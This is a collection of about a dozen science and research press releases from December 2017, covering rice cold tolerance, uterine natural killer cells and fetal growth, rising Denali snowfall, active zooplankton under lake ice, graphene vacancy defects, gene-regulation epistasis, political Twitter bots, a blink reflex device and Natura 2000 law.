The American Society for Microbiology is the largest single life science society, composed of more than 50,000 scientists and health professionals. ASM's mission is to promote and advance the microbial sciences.

ASM advances the microbial sciences through conferences, publications, certifications and educational opportunities. It enhances laboratory capacity around the globe through training and resources. It provides a network for scientists in academia, industry and clinical settings. Additionally, ASM promotes a deeper understanding of the microbial sciences to diverse audiences.
The Biophysical Society is pleased to announce that Daniela Kraft, from the Huygens-Kamerlingh Onnes Laboratory, University of Leiden, The Netherlands, has been selected the winner of the Biophysical Journal Paper of the Year Award for 2017. Kraft receives the award for her paper "Microparticle Assembly Pathways on Lipid Membranes," which she coauthored with Casper van der Wel and Doris Heinrich, also of Leiden University. The paper was published in the September 5, 2017, issue of Biophysical Journal.

This award was established to recognize one outstanding paper by a corresponding author who is also a young investigator. Papers are nominated for the award by the Associate Editors of the Journal.

Kraft will receive a monetary prize and a plaque, and will present a short talk at the Award Symposium, during the Biophysical Society Annual Meeting on Tuesday, February 20, 2018, at the Moscone Center in San Francisco, California.

The Biophysical Society, founded in 1958, is a professional, scientific society established to encourage development and dissemination of knowledge in biophysics. The Society promotes growth in this expanding field through Biophysical Journal, its annual meeting, and committee and outreach activities. Its 9000 members are located throughout the U.S. and the world, where they teach and conduct research in colleges, universities, laboratories, government agencies, and industry. The annual meeting draws over 6500 scientists, and will be held February 17-21, 2018 in San Francisco, California.

Biophysical Journal (BJ) is the leading international journal for original research in molecular, cellular, and systems biophysics. Modern biophysics is a broad and rapidly advancing field encompassing the study of biological structures with a focus on mechanisms at the molecular, cellular, and systems level using the concepts and methods of physics, chemistry, mathematics, engineering, and computational science. Research on a broad range of biological problems is unified when approached with this common set of intellectual tools.

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The ability of plants to tolerate chilling stress is fundamental in determining the growing season and geographical distribution of plants. Local temperature anomalies caused by global climate change directly threaten crop production.

Improvement of chilling tolerance in rice varieties requires clarifying the regulatory mechanisms of chilling signaling pathways.

The primary signal transduction pathway of chilling tolerance in rice has been established already, but how the diverse components are regulated is not clear.

OsbHLH002 is one of more than 100 members of the bHLH transcription factor family in rice and has the highest homology with Arabidopsis ICE1 protein, which is one of the core members in the cold signaling pathway in Arabidopsis (hence OsbHLH002 is also called OsICE1).

The research team led by Prof. CHONG Kang from the Institute of Botany of the Chinese Academy of Sciences has revealed a new mechanism for chilling tolerance mediated by OsMAPK3-OsbHLH002-OsTPP1 in rice.

The research team had shown in 2009 that overexpression of the wild rice gene OrbHLH2 enhanced tolerance to osmotic stress in Arabidopsis.

This time they discovered that the cold-activated protein kinase OsMAPK3 phosphorylates the transcription factor OsbHLH002/OsICE1 directly to enhance its transactivation activity.

Moreover, OsMAPK3 attenuated the interaction between OsbHLH002 and E3 ubiquitin ligase OsHOS1, which led to reduced ubiquitination and degradation of OsbHLH002.

The increase of the protein content and transactivation activity of OsbHLH002 effectively activates the expression of OsTPP1 (encoding trehalose-6-phosphatase) to promote the hydrolysis of trehalose-6-phosphate, increasing the trehalose content and enhancing the chilling tolerance of rice.

These results established a novel pathway OsMAPK3-OsbHLH002-OsTPP1. This pathway transduces the cold signal from the kinase cascade system to the nucleus and promotes synthesis of an osmotic protectant to regulate the chilling tolerance in rice.

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This finding has been published in Developmental Cell in an article entitled "OsMAPK3 Phosphorylates OsbHLH002/OsICE1 and Inhibits Its Ubiquitination to Activate OsTPP1 and Enhances Rice Chilling Tolerance."

The study was supported by the Chinese Ministry of Agriculture, the Chinese Academy of Sciences and the National Natural Science Foundation of China.
Natural killer cells are among the most abundant immune cells in the uterus during the first trimester of pregnancy, but their numbers decline substantially after the placenta forms. A study published December 19th in the journal Immunity shows that this transient cell population helps to optimize maternal nourishment of the fetus at early stages of development. The researchers identified a specific subset of uterine natural killer cells that secrete growth-promoting factors in humans and mice, and further demonstrated that transfer of these cells can reverse impaired fetal growth in pregnant mice.

"These findings not only reveal new properties of natural killer cells during early pregnancy, but also point to approaches for therapeutic administration of natural killer cells in order to reverse restricted nourishment within the uterine microenvironment," says co-senior study author Haiming Wei of the University of Science and Technology of China. "The study will have major implications for our approach to adoptive cell therapy strategies for the generation of not only natural killer cells against pathogens and tumors, but also natural killer cells supporting body development and tissue engineering."

Acting as our bodies' frontline defense system, natural killer cells guard against tumors and launch attacks against infections. For decades, natural killer cells in the uterus have been studied as an example of specialized immune cells endowed with unique functions that developed during the evolution of mammalian pregnancy. For example, uterine natural killer cells promote immune balance and the growth of blood vessels in the placenta, having a positive impact on birth weight as well as fetal growth. But until now, it was not clear which subset of natural killer cells in the uterus are responsible for promoting fetal growth, or whether these cells help to optimize fetal nourishment at early developmental stages.

In the new study, Wei and co-senior author Zhigang Tian of the University of Science and Technology of China discovered that a specific subset of natural killer cells in the human uterine lining secretes growth-promoting factors called pleiotrophin and osteoglycin, which are involved in wide-ranging developmental processes. This subset of cells made up a smaller proportion of natural killer cells in the uterine lining of patients who experienced recurrent spontaneous abortion (42%) compared to healthy females (81%). These findings suggest that insufficient secretion of growth-promoting factors by a specific subset of natural killer cells may be responsible for restricted fetal development in humans.

Additional studies in mouse models showed that a deficiency in this subset of natural killer cells resulted in severe fetal growth restriction and defective development of the fetal skeletal system. Remarkably, the transfer of uterine-like natural killer cells reversed fetal growth impairments in these mice. But for now, it remains unclear whether the growth-promoting factors affect fetal development directly by crossing the maternal-fetal barrier or indirectly by promoting the formation of the placenta and the growth of blood vessels.

From a clinical perspective, natural killer cell-based immunotherapy has been widely used to treat cancer. For the purpose of promoting fetal growth in humans, it may be possible to transfer natural killer cells via intravenous infusion or the administration of a vaginal suppository to mothers, avoiding the need for invasive procedures. Moreover, uterus-like natural killer cells are a much safer alternative than pluripotent stem cells because they are less likely to induce tumor formation.

"Additional studies are needed to explore the most suitable protocols to induce uterus-like natural killer cells that secrete growth-promoting factors in a human system, and to improve the feasibility of applying these uterus-like natural killer cells to patients," Tian says. "This study provides an avenue for treating fetal growth restriction, recurrent spontaneous abortion with unknown reasons, and age-related fetal loss by improving the uterus microenvironment."

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This work was supported by the Natural Science Foundation of China.

Immunity, Fu, B., Zhou, Y., and Ni, X., et al.: "Natural Killer Cells Promote Fetal Development through the Secretion of Growth-Promoting Factors." http://www.cell.com/immunity/fulltext/S1074-7613(17)30519-8

Immunity (@ImmunityCP), published by Cell Press, is a monthly journal that reports the most important advances in immunology research. Topics include: immune cell development and senescence, signal transduction, gene regulation, innate and adaptive immunity, autoimmunity, infectious disease, allergy and asthma, transplantation, and tumor immunology. Visit: http://www.cell.com/immunity. To receive Cell Press media alerts, contact press@cell.com.
HANOVER, N.H. - December 19, 2017 - Snowfall on a major summit in North America's highest mountain range has more than doubled since the beginning of the Industrial Age, according to a study from Dartmouth College, the University of Maine, and the University of New Hampshire.

The research not only finds a dramatic increase in snowfall, it further explains connections in the global climate system by attributing the record accumulation to warmer waters thousands of miles away in the tropical Pacific and Indian Oceans.

The research demonstrates that modern snowfall in the iconic Alaska Range is unprecedented for at least the past 1200 years and far exceeds normal variability.

"We were shocked when we first saw how much snowfall has increased," said Erich Osterberg, an assistant professor of earth sciences at Dartmouth College and principal investigator for the research. "We had to check and double-check our results to make sure of the findings. Dramatic increases in temperature and air pollution in modern times have been well established in science, but now we're also seeing dramatic increases in regional precipitation with climate change."

According to the research, wintertime snowfall has increased 117 percent since the mid-19th century in southcentral Alaska in the United States. Summer snows also showed a significant increase of 49 percent in the short period ranging less than two hundred years.

The research, appearing in Scientific Reports, is based on analysis of two ice cores collected at 13,000 feet from Mount Hunter in Denali National Park. According to the authors, accumulation records in the separate samples taken from just below the summit of the mountain known as "Denali's Child" are in nearly complete agreement.

"It is now glaringly clear from our ice core record that modern snowfall rates in Alaska are much higher than natural rates before the Industrial Revolution," said Dominic Winski, a research assistant at Dartmouth and the lead author of the report. "This increase in precipitation is also apparent in weather station data from the past 50 years, but ice cores show the scale of the change well above natural conditions."

Once the researchers established snowfall rates, they set out to identify why precipitation has increased so rapidly in such a short amount of time. Scientific models predict as much as a 2 percent increase in global precipitation per degree of warming because warmer air holds more moisture, but this could not account for most of the dramatic increases in Denali snowfall over the studied period.

The research suggests that warming tropical oceans have caused a strengthening of the Aleutian Low pressure system with its northward flow of warm, moist air, driving most of the snowfall increases. Previous research has linked the warming tropical ocean temperatures to higher greenhouse gas concentrations.

The analysis includes a series of dramatic graphs that demonstrate extreme shifts in precipitation and reinforce the global climate connections that link snowfall in the high reaches of the North American continent with warm tropical waters. As noted in the paper, this same atmospheric connection accounts for a decrease in Hawaiian precipitation.

"Everywhere we look in the North Pacific, we're seeing this same fingerprint from warming tropical oceans. One result is that wintertime climate in the North Pacific is very different than it was 200 years ago. This doesn't just affect Alaska, but Hawaii and the entire Pacific Northwest are impacted as well," said Winski.

The research builds on a recent study using the same ice cores that showed that an intensification of winter storm activity in Alaska and Northwestern Canada, driven by the strengthening Aleutian Low, started in 1740 and is unprecedented in magnitude and duration over the past millennium. The new record shows the result of that increase in Aleutian Low storm activity on snow accumulation.

For this analysis, researchers were able to segment the ice core records by seasons and years using markers like magnesium from spring dust to separate winter snow from summer snow. To account for snow layers getting squeezed and thinned under their own weight, the researchers applied four separate equations used in other studies, and in all cases the corrected record shows at least a doubling of snowfall.

According to the paper, while numerous snow accumulation records exist, "to our knowledge, no other alpine ice core accumulation record has been developed with such a thorough characterization of the thinning regime or uncertainties; all of the thinning models produce a robust increase in accumulation since the mid-19th century above late-Holocene background values."

The researchers note that the findings imply that regions that are sensitive to warming tropical ocean waters may continue to experience rain and snowfall variability well outside the natural range of the past millennium.

"Climate change can impact specific regions in much more extreme ways than global averages indicate because of unexpected responses from features like the Aleutian Low," said Osterberg. "The Mount Hunter record captures the dramatic changes that can occur when you get a double whammy from climate change - warming air combined with more storms from warming ocean temperatures."

However, the researchers also note that the regional findings do not necessarily mean that the same level of snowfall increases will occur elsewhere throughout the mid- and high latitudes.

"Scientists keep discovering that on a regional basis, climate change is full of surprises. We need to understand these changes better to help communities prepare for what will come with even more carbon dioxide pollution in the air," said Osterberg.

As part of the analysis, the authors suggest that current climate models underestimate the sensitivity of North Pacific atmospheric connections to warming tropical ocean temperatures. They argue that refining the way the modeled atmosphere responds to tropical ocean temperatures may improve rain and snowfall predictions in a warming world.

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This research was supported by the National Science Foundation Paleoclimate Program (P2C2).
In a frozen lake in Quebec, tiny red creatures zip about under the ice. Guillaume Grosbois and Milla Rautio, researchers at Universite du Quebec a Chicoutimi, Saguenay, Quebec, Canada report the discovery of active life in a winter lake today in the Ecological Society of America's journal Ecology.

Grosbois and Rautio did not expect to find bright red zooplankton buzzing in the dark water under the frozen surface when they visited snowy Lake Simoncouche in winter.

"Most ecological work is done in the summer, because it's easier to go into the field at that time of year, but also because everybody thought that nothing is happening in winter," said Grosbois. "Aquatic ecologists thought that everything is either dying or entering dormancy, and that life is on hold during the entire season."

Although winter research is gaining interest, ecological field work slows down when the weather turns snowy. The researchers expected to find the lake's zooplankton, the nearly microscopic animals that feed fish

and other larger lake inhabitants, resting nearly immobile on the lake bottom, waiting out the cold hungry months until sunlight and food return.

But when they looked at water samples under the microscope, they saw the copepod species Leptodiaptomus minutus and Cyclops scutifer swimming vigorously about. The tiny crustaceans, which resemble very small shrimp, accounted for 63 and 22 percent of the winter biomass in the lake.

"We saw that they were very active! They were not dormant at all. I was very surprised, because in winter there is no light, there is no algae to eat," Grosbois said.

Returning to sample the lake every few weeks throughout the year, Grosbois and Rautio were further surprised to find that zooplankton biomass actually peaked in December. But the most startling discovery was the copepods' vivid color.

Rautio and Grosbois wanted to know how the small animals managed to remain active as their primary food sources died, but also why they were so brightly colored. In summer, zooplankton are nearly transparent. Bright red coloration would be a beacon, like Rudolph's red nose, calling to predatory fish. In the dark, the bright red coloration does not attract dangerous attention. The red color, however, is expensive for the small animals to make. It costs them energy they need to survive. So the researchers believed it must be serving a purpose.

Color often provides protection against damage from UV radiation, like natural sunblock. But very little sunlight filters through the thick cover of ice. High energy ultraviolet light reflects off the ice surface. Instead, Grosbois and Rautio think the red pigment may be acting as a preservative for the extra body fat the zooplankton piled on for the winter.

"The link was the lipids, the fats." Grosbois said.

As the surface ices over, the waters below grow dark. Phytoplankton, algae that, like plants, make energy from sunlight begin to die. The copepods get most of their calories from algae. They can stay active for the entire winter, Rautio and Grosbois concluded, because they accumulate fats as temperatures drop during the autumn, eating everything they can find and feasting on dying algae as the ice closes. But stored fats, especially valuable fatty acids, are vulnerable to damage through peroxidation caused by free radicals.

Free radicals are a consequence of respiration. All animals that breathe oxygen must cope with their generation and the damage they can inflict. Like carotenes and other vivid pigments in fruits and vegetables, the red pigment in the copepods is an antioxidant. It protects the copepods' cells by tying up free radicals and keeping them away from important cellular equipment. Grosbois and Rautio believe that, in the gloom under the ice, the copepods can safely take advantage of protection from oxidative stress that bright pigments offer. The little copepods, like people, need omega-3 and omega-6 fatty acids to be healthy.

"We can only get essential fatty acids from food. One of the best sources is fish, because fish accumulate them from the copepods, that accumulate them from the algae, that are the main producers," Grosbois said. Fatty acid biochemistry, and its effects on the food web, is a topic that interests him for future research.

"We are a lot of humans on the planet. We all need to be in health, so we need a lot of fatty acids. As the climate changes we are seeing that the time of ice cover is becoming shorter and shorter. That's a really important period for the aquatic organism to accumulate fatty acids."

Grosbois wonders if a shorter freezing period will give the copepods enough time to accumulate the fatty acids they need to reproduce successfully in spring. When copepods run low on fatty acids, there are, in turn, be less for the fish, and so on up the food web.

"Winter is important, especially in the boreal zone. We here are in a very northern city in Canada, where the winter can be very long," Grosbois said. "We need to study this time more. Everything that happens in the winter will have an impact on spring, summer, and fall. So if we want to understand what is happening in the ecosystem, we need to know more about the winter."

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Journal Article:

Guillaume Grosbois and Milla Rautio (2017) Active and colorful life under ice. Ecology (Early View) doi:10.1002/ecy.2074

Free access http://onlinelibrary.wiley.com/doi/10.1002/ecy.2074/full

The Ecological Society of America, founded in 1915, is the world's largest community of professional ecologists and a trusted source of ecological knowledge, committed to advancing the understanding of life on Earth. The 9,000 member Society publishes five journals and a membership bulletin and broadly shares ecological information through policy, media outreach, and education initiatives. The Society's Annual Meeting attracts 4,000 attendees and features the most recent advances in ecological science. Visit the ESA website at http://www.esa.org.
Researchers in Brazil calculated the overall electron structure of the vacancy region of a crystal lattice through the unprecedented use of a hybrid functional method, which yielded results compatible with experimental data.

A study conducted at the University of Sao Paulo's Physics Institute (IF-USP), Brazil, has resolved a longstanding controversy dogging the international community of researchers dedicated to investigating defects in graphene. The controversy is related to the calculation of the overall electronic structure of defects. This configuration, which comprises many variables, was described in different ways depending on the researcher and the model used. The solution, which is identical for all models and compatible with experimental findings, was obtained by Chilean Ana Maria Valencia Garcia and her PhD supervisor, Marilia Junqueira Caldas, Full Professor at IF-USP.

An article authored by both researchers has been published in the journal Physical Review B with the title "Single vacancy defect in graphene: Insights into its magnetic properties from theoretical modeling". The journal's editors chose one of the figures from the article for inclusion in the Kaleidoscope section, which promotes interest in the esthetics of physics by featuring images selected for their artistic appeal.

Garcia received a PhD scholarship from Chile's National Scientific & Technological Research Commission (CONICYT), while Caldas was supported by the National Organic Electronics Institute (INEO), which is funded jointly by FAPESP and Brazil's National Council for Scientific & Technological Development (CNPq).

"There were divergences in the community regarding whether the vacancy formed by removing a single carbon atom from a graphene sheet's crystal lattice causes a weak or strong magnetic moment, and regarding the strength of the magnetic interaction between vacancies," Caldas said. The vacancy prompts the surrounding atoms to rearrange themselves into new combinations to accommodate the absence of an atom, forming electron clusters known as "floating orbitals" at the vacant site.

Three important variables are associated with the phenomenon: electron density, i.e., how the electrons are distributed; electron levels, i.e., the energy levels occupied by the electrons; and magnetic moment, i.e., the torque produced in the electrons by an external magnetic field.

First-hand use of hybrid method in graphene

Reflecting on the divergence, Caldas finds strange that its proponents are all excellent researchers affiliated with renowned international institutions. Studies conducted by the research revealed that the divergent values derived from the use of different simulation methods.

"There are two ways to calculate the overall electron structure of the vacancy region, both derived from quantum mechanics: the Hartree-Fock (HF) method, and density functional theory (DFT). In DFT the calculation is performed by making each electron interact with average electron density, which includes the electron in question. In HF the operator used excludes the electron and considers only its interaction with the others. HF produces more precise results for electron structure but the calculation is far more laborious," Caldas said.

"The two methods are often combined by means of hybrid functionals, which have been mentioned in the scientific literature since the end of the twentieth century. I worked with them myself some time ago in a study on polymers, but they had never been used in the case of graphene. What Ana Maria [Valencia Garcia] and I did was discover the hybrid functional that best describes the material. Applied to several models using computer simulation, our hybrid functional produced the same result for them all and this result matched the experimental data."

Besides resolving the controversy, which had lasted years, and having one of its images selected for esthetic value, another interesting aspect of this research is the problem that motivated it. "We came to it via the interest aroused by a material known as anthropogenic dark earth or ADE," Caldas explained. "ADE is a kind of very dark, fertile soil found in several parts of the world including the Amazon. It retains moisture even at high temperatures and remains fertile even under heavy rain. It's called anthropogenic because its composition derives from middens and cultivation by indigenous populations in the pre-Columbian period at least two millennia ago. This intriguing material was known to have resulted from multi-stacked layers of graphene nanoflakes. It was our interest in ADE that led us to study the phenomenon of vacancy in graphene sheets."

In conclusion, it should be noted that there are potential applications of vacancy in graphene sheets, since information can be encoded in the defect and not in the entire structure. Much more research will be needed before applications can be developed, however.

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About Sao Paulo Research Foundation (FAPESP)

The Sao Paulo Research Foundation (FAPESP) is a public institution with the mission of supporting scientific research in all fields of knowledge by awarding scholarships, fellowships and grants to investigators linked with higher education and research institutions in the State of Sao Paulo, Brazil. FAPESP is aware that the very best research can only be done by working with the best researchers internationally. Therefore, it has established partnerships with funding agencies, higher education, private companies, and research organizations in other countries known for the quality of their research and has been encouraging scientists funded by its grants to further develop their international collaboration. For more information: http://www.fapesp.br/en.
Our genes (aka. the genotype) determine our characteristics (aka. the phenotype). Evolution acts on changes in the phenotype, which occur when mutations change the underlying genotype. But what changes to the phenotype can be produced by mutations is not without bounds - ants cannot suddenly grow a trunk, or become the size of an elephant. Researchers at the Institute of Science and Technology Austria (IST Austria) found that in a gene regulatory system in the bacterium Escherichia coli, the more components that are mutated, the more freely the system can evolve. This is the result of a study published by a team led by Calin Guet and Jonathan Bollback, with first author postdoc Mato Lagator, in eLife.

Freedom to change

The effects of mutations define how a system can change. But when we take a system composed of several components, such as a system that regulates gene expression, what happens when not only a single component is mutated, but several? Does the system have fewer options for change, or more? The researchers studied this question in a small gene regulatory system in E. coli that consists of two components: a transcription factor, which is a protein that controls the rate of transcription of genetic information from DNA to RNA; and its binding site on the DNA, where the transcription factor binds to start transcription. In this study, the scientists looked at what happens when they mutate each component on its own, and when they mutate both components at the same time.

Somewhat counterintuitively, they found that the system's evolution is less limited when more components are mutated. "In stark contrast to what I assumed prior to conducting the experiments, if we mutate several components, the system can evolve more freely. This came as quite a surprise to me!" says first author Mato Lagator. The team then looked at why the system can evolve in more directions, compared to its individual components.

When 1+1 does not equal 2

They found that the system evolves more freely because mutations in the two components interact with each other, a phenomenon they call "intermolecular epistasis". Mato Lagator explains its significance: "Epistasis means that 1+1 does not equal 2, but 3 or 0. Genetically speaking, one point mutation changes the transcription factor so that the phenotype of our gene regulatory system changes by X, and the other point mutation changes the binding site so that the phenotype changes by Y. Now, when both mutations occur together, the phenotype is not simply X+Y, it is different." This means that mutations interact, giving the whole system more freedom to change and evolve.

So far, our understanding of epistasis has mostly been descriptive, but how the existing molecular mechanisms define the patterns of epistasis has not been understood. In this study, the researchers give a mechanistic understanding of how the mutations in two different molecules interact, explains Mato Lagator: "Most excitingly, we show that - in this gene regulatory system - most of the epistasis arises from the genetic structure of the system. This structure determines how the mutations interact with each other."

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Additional information

Mato Lagator joined IST Austria in 2013 as an ISTFellow in the groups of C?lin Guet and Jonathan Bollback (now at University of Liverpool). The postdoc program ISTFellow has meanwhile evolved into ISTplus, a program focusing on the development of targeted and transferrable skills across all scientific disciplines at IST Austria. The next application deadline is March 15th 2018 (see http://ist.ac.at/research/postdoctoral-research/istplus/).

The research leading to these results has received funding from the People Programme (Marie Curie Actions) of the European Union's Seventh Framework Programme (FP7/2007-2013) under REA grant agreement n291734.

IST Austria

The Institute of Science and Technology (IST Austria) is a PhD granting research institution located in Klosterneuburg, 18 km from the center of Vienna, Austria. Inaugurated in 2009, the Institute is dedicated to basic research in the natural and mathematical sciences. IST Austria employs professors on a tenure-track system, postdoctoral fellows, and doctoral students. While dedicated to the principle of curiosity-driven research, the Institute owns the rights to all scientific discoveries and is committed to promote their use. The first president of IST Austria is Thomas A. Henzinger, a leading computer scientist and former professor at the University of California in Berkeley, USA, and the EPFL in Lausanne, Switzerland. The graduate school of IST Austria offers fully-funded PhD positions to highly qualified candidates with a bachelor's or master's degree in biology, neuroscience, mathematics, computer science, physics, and related areas. See http://www.ist.ac.at
New Rochelle, Dec. 19, 2017 -- The role and risks of bots, such as automated Twitter accounts, in influencing public opinion and political elections continues to provoke intense international debate and controversy. An insightful new collection of articles focused on "Computational Propaganda and Political Big Data" examines how these bots work, approaches to better detect and control them, and how they may have impacted recent elections around the globe. The collection is published in a special issue of Big Data, a peer-reviewed journal from Mary Ann Liebert, Inc., publishers and is available free on the Big Data website.

Guest Editors Philip N. Howard, PhD and Gillian Bolsover, DPhil, from University of Oxford, U.K. have compiled a compelling series of articles that provide a broad range of perspectives and examples on the use of bots in social and online media to achieve massive dissemination of propaganda and political messages.

In the article entitled "Social Bots: Human-Like by Means of Human Control?," coauthors Christian Grimme, Mike Preuss, Lena Adam, and Heike Trautmann, University of Munster, Germany offer a clear definition of a bot and description of how one works using Twitter as an example. The authors examine the current technical limitations of bots and how the increasing integration of humans and bots can expand their capabilities and control, leading to more meaningful interactions with other humans. This hybridization of humans and bots requires more sophisticated approaches for identifying political propaganda distributed with social bots.

The article "Detecting Bots on Russian Political Twitter," coauthored by Denis Stukal, Sergey Sanovich, Richard Bonneau, and Joshua Tucker from New York University, presents a novel method for detecting bots on Twitter. The authors demonstrate the use of this method, which is based on a set of classifiers, to study bot activity during an important period in Russian politics. They found that on most days, more than half of the tweets posted by accounts tweeting about Russian politics were produced by bots. They also present evidence that a main activity of these bots was spreading news stories and promoting certain media outlets.

Fabian Schafer, Stefan Evert, and Philipp Heinrich, Friedrich-Alexander-Universitat Erlangen-Nurnberg, Germany, evaluated more than 540,000 tweets from before and after Japan's 2014 general election, and present their results on the identification and behavioral analysis of social bots in the article entitled "Japan's 2014 General Election: Political Bots, Right-Wing Internet Activism, and Prime Minister Shinz? Abe's Hidden Nationalist Agenda," The researchers focused on the repeated tweeting of nearly the identical message and present both a case study demonstrating multiple patterns of bot activity and potential methods to allow for automation identification of these patterns. They also provide insights into the purposes behind the use of social and political bots.

"Big Data is proud to present the first collection of academic articles on a subject that is front and center these days," says Big Data Editor-in-Chief Vasant Dhar, Professor at the Stern School of Business and the Center for Data Science at New York University. "While social media platforms have created a wonderful social space for sharing and publishing information, it is becoming clear that they also pose significant risks to societies, especially open democratic ones such as ours, for use as weapons by malicious actors. We need to be mindful of such risks and take action to mitigate them. One of the roles of this special issue is to present evidence and scientific analysis of computational propaganda on social media platforms. I'm very pleased with the set of articles in this special issue."

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About the Journal

Big Data published quarterly online with open access options and in print, facilitates and supports the efforts of researchers, analysts, statisticians, business leaders, and policymakers to improve operations, profitability, and communications within their organizations. Spanning a broad array of disciplines focusing on novel big data technologies, policies, and innovations, the Journal brings together the community to address the challenges and discover new breakthroughs and trends living within this information. Complete tables of content and a sample issue may be viewed on the Big Data website.

About the Publisher

Mary Ann Liebert, Inc., publishers is a privately held, fully integrated media company known for establishing authoritative medical and biomedical peer-reviewed journals, including OMICS: A Journal of Integrative Biology, Journal of Computational Biology, New Space, and 3D Printing and Additive Manufacturing. Its biotechnology trade magazine, GEN (Genetic Engineering & Biotechnology News), was the first in its field and is today the industry's most widely read publication worldwide. A complete list of the firm's more than 80 journals, newsmagazines, and books is available on the Mary Ann Liebert, Inc., publishers website.
The blink reflex has been shown to be sensitive to a number of neurological insults, including traumatic brain injury, Parkinson's disease and Huntington's disease, suggesting that it could be a useful tool for neurological assessment. Although electromyography (EMG)-derived time metrics were used to analyze the blink reflex as early as the 1950s, quantitative assessment of the blink response was never adopted widely in clinical practice, in part because existing technology was somewhat cumbersome and uncomfortable. Moreover, EMG is a highly sensitive technology requiring strict ambient parameters and was not easily performed outside the health care setting, limiting the applications of the blink reflex as a diagnostic indicator of neurological health. Advances in video and computer technology -- including improved digital image capture, higher frame speeds and higher processing speeds -- have now put portable, noninvasive, quantitative assessment of the blink within reach.

The Blink Reflexometer, a portable device developed by the Zucker Institute for Applied Neurosciences at the Medical University of South Carolina that has since been licensed to BLINKtbi (Charleston, SC), uses high-speed video to capture and quantitatively analyze a series of blinks that it stimulates with puffs of air. The device analyzes the recorded blinks based on data acquired from decades of blink reflex research to determine if the patient has experienced neurological insult.

In a validation study in ten healthy college students, the results of which were reported in an article published online December 12, 2017 by the IEEE Journal of Translational Engineering in Health and Medicine, a team of investigators at the Medical University of South Carolina and The Citadel obtained blink measurements for ten healthy college students using the Blink Reflexometer and compared them to published measurements obtained with EMG. Three parameters were measured: latency (time between stimulus to first eyelid movement), differential latency (difference in start time between eyelids) and duration (time from start of eyelid movement to eyelid open). Latency and duration measurements obtained with the Blink Reflexometer were in line with published results; only differential latency fell outside of published ranges. These findings suggest that the Blink Reflexometer can provide quantitative measurements of the blink that are on par with those obtained via EMG.

"We are excited to be able to take something that had been qualitative and make it quantitative and objective," says lead author Nancey Trevanian Tsai, M.D. "We talk about metrics all the time in medicine but when you are actually able to provide quantitative, objective data, it's a game changer. It's analogous to the difference between saying someone is feverish to measuring the patient's temperature, an objective measurement, with a thermometer."

This study was based on a small number of young, healthy patients, so larger studies in participants that better represent the general populace will be required. More studies will also be required to verify the usefulness of the blink reflex and of this novel device for neurological assessment in each area of clinical need. Although the Blink Reflexometer can measure changes in the blink reflex, it does not provide information on the underlying causes of those changes.

If the findings of those studies are promising, the device could make it possible to include the blink reflex as a metric or vital sign in medical examination. Because it is portable, it could be taken into the field for on-site neurological assessments. Potential uses are field-side assessment of athletes for concussion or field sobriety tests for marijuana intoxication.

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The Blink Relexometer is patent pending and available for investigational use only. The Medical University of South Carolina, the Zucker Institute for Applied Neurosciences and authors Tsai, Semler and Kothera have financial interest in the technology.

About MUSC

Founded in 1824 in Charleston, The Medical University of South Carolina is the oldest medical school in the South. Today, MUSC continues the tradition of excellence in education, research, and patient care. MUSC educates and trains more than 3,000 students and residents in six colleges (Dental Medicine, Graduate Studies, Health Professions, Medicine, Nursing, and Pharmacy), and has nearly 13,000 employees, including approximately 1,500 faculty members. As the largest non-federal employer in Charleston, the university and its affiliates have collective annual budgets in excess of $2.2 billion, with an annual economic impact of more than $3.8 billion and annual research funding in excess of $250 million. MUSC operates a 700-bed medical center, which includes a nationally recognized children's hospital, the Ashley River Tower (cardiovascular, digestive disease, and surgical oncology), Hollings Cancer Center (a National Cancer Institute-designated center), Level I trauma center, Institute of Psychiatry, and the state's only transplant center. In 2016, U.S. News & World Report named MUSC Health the number one hospital in South Carolina. For more information on academic programs or clinical services, visit musc.edu. For more information on hospital patient services, visit muschealth.org.

About the Zucker Institute for Applied Neurosciences

The Zucker Institute for Applied Neurosciences (ZIAN) is a non-profit technology accelerator embedded within the Medical University of South Carolina (MUSC) Department of Neurosurgery in Charleston, S.C. Established in 2013, ZIAN's mission is to "apply scientific and clinical discovery to concrete neuroscience problems and develop technological advancements that will make a difference in patients' lives." ZIAN's management and development team includes a renowned faculty of neuroscience clinicians and scientists, along with talented engineers and business development experts. The team collaborates with industry partners to swiftly and efficiently meet the increasing patient and practitioner demand for breakthroughs in treatment across the spectrum of neurologic disorders. ZIAN is currently developing technologies in the areas of neurological assessment, spine surgery, imaging, neurovascular interventions and treatments for brain tumors and spinal cord injury. To learn more about ZIAN, call 843- 792-5406 or visit ianeuro.org.
The focus is on the case-law of the European Court of Justice and the German Federal Administrative Court

With over 27,500 sites, Natura 2000 is the greatest nature conservation network in the world. It covers more than 18 percent of the land area in the European Union and around 395,000 km2 of its marine territory.

Projects and plans within those sites or in their vicinity require an appropriate assessment to ensure that they will not have a significant impact on the integrity of a Natura 2000 site, according to Article 6(3) of the Habitats Directive 92/43/EEC. The Natura 2000 appropriate assessment is the central statutory instrument for the protection of the network, in addition to the general prohibition of deterioration.

An assessment must take place prior to the authorisation and implementation of a project or a plan. As a result of the European Court of Justice (ECJ) having maximised the effectiveness of the assessment by a stringent legal interpretation, a project or a plan must be rejected by the competent authorities if there is any remaining reasonable scientific doubt that it might adversely affect the integrity of the site.

Nevertheless, in accordance with the European principle of proportionality, the Habitats Directive does not intend to ban all human activity in Natura 2000 sites. This is the reason why, on the one hand, only significant adverse impacts on the integrity of a Natura 2000 site are relevant and, on the other, according to Article 6(4) Habitats Directive, a derogating authorisation is possible in favour of public interests.

However, numerous questions, which are relevant in practice, have so far only been considered by national courts. A special issue recently published with the open access journal Nature Conservation features a comprehensive review of the relevant case-law of the German Federal Administrative Court (BVerwG), which has thoroughly dealt with the Natura 2000 regime in a long series of judgements.

The author, Dr. Stefan Mockel of the Helmholtz-Centre for Environmental Research GmbH, Germany, is a long standing specialist in European and German nature conservation law. Within the four articles comprising the issue, he analyses the scope, procedural steps and requirements of the appropriate assessment and the derogation procedure. He also comments on the interpretations and practical solutions found by the ECJ and the BVerwG.

The first article explains the main steps and demands of the appropriate assessment. Questions on the scope of the terms "project" and "plan", as well as determining significant impacts are discussed in greater detail in the second and third article. The fourth paper explores the requirements needed for a derogation to be approved.

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Original source:

Mockel S (2017) The European ecological network "Natura 2000" and the appropriate assessment for projects and plans under Article 6(3) of the Habitats Directive. In: Mockel S (Ed.) Natura 2000 appropriate assessment and derogation procedure - legal requirements in the light of European and German case-law. Nature Conservation 23: 1-29. https://doi.org/10.3897/natureconservation.23.13599

